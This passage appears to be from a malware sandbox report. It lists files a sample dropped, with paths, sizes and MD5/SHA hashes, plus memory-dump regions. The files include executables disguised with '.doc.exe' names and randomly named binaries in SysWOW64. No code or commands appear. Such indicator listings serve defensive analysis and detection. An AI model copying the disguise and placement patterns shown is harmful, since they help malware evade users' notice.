                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\readme.md
                            Filesize

                            167B

                            MD5

                            5ae93516939cd47ccc5e99aa9429067c

                            SHA1

                            3579225f7f8c066994d11b57c5f5f14f829a497f

                            SHA256

                            f815e2d4180ba6f5d96ab9694602ac42cde288b349cf98a90aad9bd76cc07589

                            SHA512

                            c2dd5a075d1d203d67752a3fff5661863d7da6c2d3d88f5d428f0b32c57df750c24459a782174b013a89bbfbf84d8fb964a2bec06fc0609dc44cc10519e62713

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\scary.exe
                            Filesize

                            3.1MB

                            MD5

                            97cd39b10b06129cb419a72e1a1827b0

                            SHA1

                            d05b2d7cfdf8b12746ffc7a59be36634852390bd

                            SHA256

                            6bc108ddb31a255fdd5d1e1047dcd81bc7d7e78c96f7afa9362cecbb0a5b3dbc

                            SHA512

                            266d5c0eb0264b82d703d7b5dc22c9e040da239aaca1691f7e193f5391d7bafc441aff3529e42e84421cf80a8d5fca92c2b63019c3a475080744c7f100ea0233

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\selfaware.exe
                            Filesize

                            797KB

                            MD5

                            5cb9ba5071d1e96c85c7f79254e54908

                            SHA1

                            3470b95d97fb7f1720be55e033d479d6623aede2

                            SHA256

                            53b21dcfad586cdcb2bb08d0cfe62f0302662ebe48d3663d591800cf3e8469a5

                            SHA512

                            70d4f6c62492209d497848cf0e0204b463406c5d4edf7d5842a8aa2e7d4edb2090f2d27862841a217786e6813198d35ea29b055e0118b73af516edf0c79dcfad

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\spinner.gif
                            Filesize

                            44KB

                            MD5

                            324f8384507560259aaa182eb0c7f94a

                            SHA1

                            3b86304767e541ddb32fdda2e9996d8dbeca16ed

                            SHA256

                            f48c4f9c5fc87e8d7679948439544a97f1539b423860e7c7470bd9b563aceab5

                            SHA512

                            cc1b61df496cfb7c51d268139c6853d05bace6f733bc13c757c87cd64a11933c3a673b97fba778e515a9ff5f8c4ea52e7091f3beda1d8452bc3f6b59382f300d

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\temp.bat
                            Filesize

                            16B

                            MD5

                            683678b879bd775b775240fcb1cd495e

                            SHA1

                            10bc596b3d03e1ba328068305c8acee2745c731c

                            SHA256

                            64f28aef02c7fafbc9d80735a8b1d607c3996a2ddf9ba260d4c433c002efeaba

                            SHA512

                            3b2b9d231643a826183732a79489c6d2f4749ce25314c444364062c781627af59b572c082d811ae57a839cae94de77cf03eb81d99e1063e2191e884ccbaa0963

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\the.exe
                            Filesize

                            764KB

                            MD5

                            e45dcabc64578b3cf27c5338f26862f1

                            SHA1

                            1c376ec14025cabe24672620dcb941684fbd42b3

                            SHA256

                            b05176b5e31e9e9f133235deb31110798097e21387d17b1def7c3e2780bbf455

                            SHA512

                            5d31565fbb1e8d0effebe15edbf703b519f6eb82d1b4685661ce0efd6a25d89596a9de27c7690c7a06864ce957f8f7059c8fdee0993023d764168c3f3c1b8da9

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\web.htm
                            Filesize

                            176B

                            MD5

                            1fab717c517da1c27e82a93edddf9390

                            SHA1

                            24b6cfda27c15c1d01ba5718106c18687ed77397

                            SHA256

                            bd035700f060a35c394600cabf0cf04c031927786c97cf41c55d78dddeffa11c

                            SHA512

                            5452938fa310396ecacae8eab64bdae624f617e19c0d742e10e088befb686c205b8db9ccec7d9de1c9360f341db8a701d5b8c6c4eb20aaa1c2deb831ab09fab5

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\web2.htm
                            Filesize

                            684B

                            MD5

                            1fc6bb77ac7589f2bffeaf09bcf7a0cf

                            SHA1

                            028bdda6b433e79e9fbf021b94b89251ab840131

                            SHA256

                            5d0147dc2b94b493d34efd322da66921f2d3d2b1cc7b0226ac1d494f99a933a1

                            SHA512

                            6ef21162b85975fdd58628dcab0d610ce7acd8ab36820a09e9e8eb1e6b2d76060ed4ad2b48bdbe1e212ec84abb309e124a752e078f6747893a83562824ea6af6

                            Download Submit
                          • C:\Users\Admin\AppData\Local\Temp\~DF7736EF5EE4DF49D9.TMP
                            Filesize

                            16KB

                            MD5

                            3980a837930f93a290ca523c37959c12

                            SHA1

                            d68430d61fa6298601f2767e1f22327737abefae

                            SHA256

                            be7312358dbd94bb4b2b91f8eca5d4bfb4dc7318af130a9d9d0179f8425d0a68

                            SHA512

                            1945e32dc1a280c46f42be94355ce2293f81e90eee490f2e82e57db63fa12cf76a1f808c1a7861c95dcd7976b083c5b84163d2ffeae69baaad0f5392176f805a

                            Download Submit
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
                            Filesize

                            247B

                            MD5

                            1b529425a37b1334b8b33ebd890269a4

                            SHA1

                            84768e6475b45e3431d5dd62968dde9b92bcb799

                            SHA256

                            774609fb895e024729e533b8420e732453a0f7ad9cc4599a871157b4f2ca0440

                            SHA512

                            8d82cb100fb6e979061a2a86aedf2f77de9bb5abf4431ed7add5c75d04988a3cd747119ade26856e8c2fdf7fe75e6aedf0025f2015e525b6835c80cfa2eff295

                            Download Submit
                          • C:\Users\Admin\Downloads\ExitUnblock.doc.exe
                            Filesize

                            512KB

                            MD5

                            210a2cbc4d9b132e16db69f214e6adb9

                            SHA1

                            cd3ac956b230fe528a7aea00d1b86b86e535b68f

                            SHA256

                            34ec64b9311385104b117fcbc08fcb8381d31612b2a11ddc1572324e632f5e10

                            SHA512

                            b829e0cba2ccca247c9f28c9500e7a528ba2d8b4ec7695fb375648d125d8d008f87063052159d18327f6d769f78cc2a2278daaae632c0d168f8b376f0c5e129e

                            Download Submit
                          • C:\Windows\SysWOW64\dxiawlncxveuy.exe
                            Filesize

                            512KB

                            MD5

                            5d862d030de76591dc5d9178b066e359

                            SHA1

                            ea354a1251a5d4aa9c9570f80f5d8743dc0c15d5

                            SHA256

                            237a3c3fc417a4240eb74158e29fa2ce0d5ae2f14a15dfded32edacffccfd4bf

                            SHA512

                            8db24a32c12a75ae3713f3f8e00828df3483bb2ef7027dd9d28d2b1d90d2d94e3165b80cb587c6c04f8c717f4cd50f357ad22b7dc9495cacfdbe18000905010a

                            Download Submit
                          • C:\Windows\SysWOW64\vhivgvifgkpczqi.exe
                            Filesize

                            512KB

                            MD5

                            e22dcb117944adba63ef85b94240a8d3

                            SHA1

                            7643a061b06526fe4fb8da97d0df0a948ff470ed

                            SHA256

                            692bcdc32f31db0d7368f82617396873cdf23595901a81ef8660866ff7e1832c

                            SHA512

                            8b5ed25f98eff3adbf457c4498d40575f49d118243714f00e44f2200ef405bcefa4d0c845e51622de9f41eefd20b9b54998247f3126cce74f33cdb4561e048e7

                            Download Submit
                          • C:\Windows\SysWOW64\yvhwidyjet.exe
                            Filesize

                            512KB

                            MD5

                            2304d3649782f71243b8ab93e50fe047

                            SHA1

                            d8211b35d15615f41fb3f3fe294497a14965f435

                            SHA256

                            349d4ba408f3db5e60ef79204ded63915dc95cdfb7aec134c5e2ce72a268265a

                            SHA512

                            80a6416cf02b3146c1620605fb35b809b46dcfc3814453ebf4e2d5de5ad3cf789edda4dc2fa6fb018d77149fc61ed671f0a6cd989db14c0e40c81304e2fe3749

                            Download Submit
                          • C:\Windows\SysWOW64\yypfyixy.exe
                            Filesize

                            512KB

                            MD5

                            2bf635293ae01b6c3d4d246535bc042b

                            SHA1

                            ab6b7a458530a450cecf7785fcc49a8f5b5d81ef

                            SHA256

                            3b4d2a48f567c3ff068f3a8c7c4b1d1eb57f385ea286ed9f7fd14aef873047c6

                            SHA512

                            126023e983d754492decd7708d34ed81cb039ec0697f4790c0f30f90f71736c057156367cb0ddffbea32640c031f914bbe1512e54b93b36979ad617c09c46a79

                            Download Submit
                          • C:\Windows\mydoc.rtf
                            Filesize

                            223B

                            MD5

                            06604e5941c126e2e7be02c5cd9f62ec

                            SHA1

                            4eb9fdf8ff4e1e539236002bd363b82c8f8930e1

                            SHA256

                            85f2405d1f67021a3206faa26f6887932fea71aea070df3efb2902902e2d03e2

                            SHA512

                            803f5f2fddbf29fef34de184eb35c2311b7a694740983ca10b54ef252dd26cda4987458d2569f441c6dedc3478bea12b45bfd3566f1b256504a0869ad3829df7

                            Download Submit
                          • \??\c:\Users\Admin\Documents\PushSend.doc.exe
                            Filesize

                            512KB

                            MD5

                            2ea764b3d4cef2dbf31adc7cf9e1fee0

                            SHA1

                            8a27169c3f115750402869686c4c50552eb37bba

                            SHA256

                            6e168a10498cc56665382052289602665982840d50234719625d8c6ff77ff2ff

                            SHA512

                            8b746efe479b87e7e521b21011aa1c37c448dd765f9c5c108fa801d77b427ad27cae53ad34cffd628e83a1d1d1d79f7c9108323870aef823544291d0163b30de

                            Download Submit
                          • \??\c:\Windows\SysWOW64\MSDRM\MsoIrmProtector.doc.exe
                            Filesize

                            512KB

                            MD5

                            b5d311d7a5ec547732315974fa17fadf

                            SHA1

                            3408d59d24aeacac661feede424edf12f942e9eb

                            SHA256

                            d46039d2d6166bccd377e4c54418db8d6495f2da997a8ae5b8eb72ee58fe39ac

                            SHA512

                            eb9a56bb167903c66b96cd93a8f40f6e0264764bd97b4766e38556687538235d520a4eb8b96e40708d1f15ff8e69c80be2361dc1bb1c966ab2b0953d81a7fe98

                            Download Submit
                          • \??\c:\Windows\SysWOW64\MSDRM\MsoIrmProtector.doc.exe
                            Filesize

                            512KB

                            MD5

                            5347cbc724853c3d90022e25933be813

                            SHA1

                            4c5e46c0abfd5e8c4aa28a0d8e270a230cf8d451

                            SHA256

                            3190fb8f2144a5518d5a84750e400a5058518d1472f5e729c2550a519bcf6c30

                            SHA512

                            e42e76ffba56feeb9764ea7f706f32704c3076f5dc2e0f95840f7302379168643fbf48fecc93af9619ea9fc28feb8ca0a0103485ccf632de7784177db1e2c255

                            Download Submit
                          • \??\pipe\LOCAL\crashpad_2512_EPSCTJYOBDFEYKSX
                            MD5

                            d41d8cd98f00b204e9800998ecf8427e

                            SHA1

                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                            SHA256

                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                            SHA512

                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                            Download Submit
                          • memory/1784-107-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-113-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-42-0x0000000005DE0000-0x0000000006330000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-3119-0x000000000BC70000-0x000000000C350000-memory.dmp
                            Filesize

                            6.9MB

                            Download
                          • memory/1784-3111-0x0000000006F60000-0x0000000006F6A000-memory.dmp
                            Filesize

                            40KB

                            Download
                          • memory/1784-3082-0x0000000005CE0000-0x0000000005D72000-memory.dmp
                            Filesize

                            584KB

                            Download
                          • memory/1784-44-0x0000000006920000-0x0000000006E6E000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-49-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-46-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-58-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-63-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-76-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-82-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-80-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-84-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-86-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-90-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-93-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-47-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-94-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-96-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-102-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-105-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-51-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-109-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-115-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-55-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-117-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-111-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-53-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-3138-0x0000000007AC0000-0x0000000007B6A000-memory.dmp
                            Filesize

                            680KB

                            Download
                          • memory/1784-98-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-100-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-88-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-78-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-74-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-65-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-67-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1784-60-0x0000000006920000-0x0000000006E69000-memory.dmp
                            Filesize

                            5.3MB

                            Download
                          • memory/1892-0-0x000000007461E000-0x000000007461F000-memory.dmp
                            Filesize

                            4KB

                            Download
                          • memory/1892-1-0x0000000000C00000-0x0000000000C56000-memory.dmp
                            Filesize

                            344KB

                            Download
                          • memory/1892-2-0x0000000005490000-0x00000000054B4000-memory.dmp
                            Filesize

                            144KB

                            Download
                          • memory/1892-4350-0x0000000074610000-0x0000000074DC0000-memory.dmp
                            Filesize

                            7.7MB

                            Download
                          • memory/1892-4045-0x0000000074610000-0x0000000074DC0000-memory.dmp
                            Filesize

                            7.7MB

                            Download
                          • memory/1892-4040-0x000000007461E000-0x000000007461F000-memory.dmp
                            Filesize

                            4KB

                            Download
                          • memory/1892-3-0x0000000074610000-0x0000000074DC0000-memory.dmp
                            Filesize

                            7.7MB

                            Download
                          • memory/1892-4-0x0000000005B90000-0x0000000006134000-memory.dmp
                            Filesize

                            5.6MB

                            Download
                          • memory/3756-30-0x00007FFF7CC95000-0x00007FFF7CC96000-memory.dmp
                            Filesize

                            4KB

                            Download
                          • memory/3756-33-0x00007FFF7C9E0000-0x00007FFF7D381000-memory.dmp
                            Filesize

                            9.6MB

                            Download
                          • memory/3756-31-0x00007FFF7C9E0000-0x00007FFF7D381000-memory.dmp
                            Filesize

                            9.6MB

                            Download
                          • memory/3756-4326-0x00007FFF7C9E0000-0x00007FFF7D381000-memory.dmp
                            Filesize

                            9.6MB

                            Download
                          • memory/3756-4295-0x00007FFF7C9E0000-0x00007FFF7D381000-memory.dmp
                            Filesize

                            9.6MB

                            Download
                          • memory/4516-241-0x00000000008D0000-0x0000000001EF7000-memory.dmp
                            Filesize

                            22.2MB

                            Download
                          • memory/4516-2643-0x00000000008D0000-0x0000000001EF7000-memory.dmp
                            Filesize

                            22.2MB

                            Download
                          • memory/5612-3128-0x00000176D9BD0000-0x00000176D9BF2000-memory.dmp
                            Filesize

                            136KB

                            Download
                          • memory/5904-4359-0x0000000005C50000-0x0000000005C8C000-memory.dmp
                            Filesize

                            240KB

                            Download
                          • memory/5904-4358-0x0000000005BF0000-0x0000000005C02000-memory.dmp
                            Filesize

                            72KB

                            Download
                          • memory/5904-4346-0x0000000000C10000-0x0000000000C22000-memory.dmp
                            Filesize

                            72KB

                            Download
                          • memory/6088-2235-0x00000000009B0000-0x0000000000CD4000-memory.dmp
                            Filesize

                            3.1MB

                            Download